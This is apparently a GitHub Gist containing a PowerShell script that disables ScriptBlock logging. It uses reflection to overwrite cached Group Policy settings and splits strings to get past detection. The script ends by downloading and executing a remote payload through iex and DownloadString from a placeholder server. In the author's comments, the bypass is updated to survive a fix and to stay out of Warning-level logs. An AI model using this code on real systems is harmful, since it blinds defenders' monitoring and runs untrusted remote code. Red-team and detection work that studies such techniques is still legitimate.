Last active
September 13, 2024 15:30
-
-
Save cobbr/d8072d730b24fbae6ffe3aed8ca9c407 to your computer and use it in GitHub Desktop.
ScriptBlock Logging Bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ScriptBlock Logging Bypass | |
# @cobbr_io | |
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
If ($GroupPolicyField) { | |
$GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
} | |
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() | |
$val.Add('EnableScriptB'+'lockLogging', 0) | |
$val.Add('EnableScriptB'+'lockInvocationLogging', 0) | |
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val | |
} | |
iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1") |
A little while back, this bypass was 'fixed' (something changed) on the latest version of PS 5.1. Updated it so it will work on all versions of PowerShell.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Turns out I missed a couple of those "suspicious strings" the first time around. This now gets logged at "Verbose" level instead of "Warning".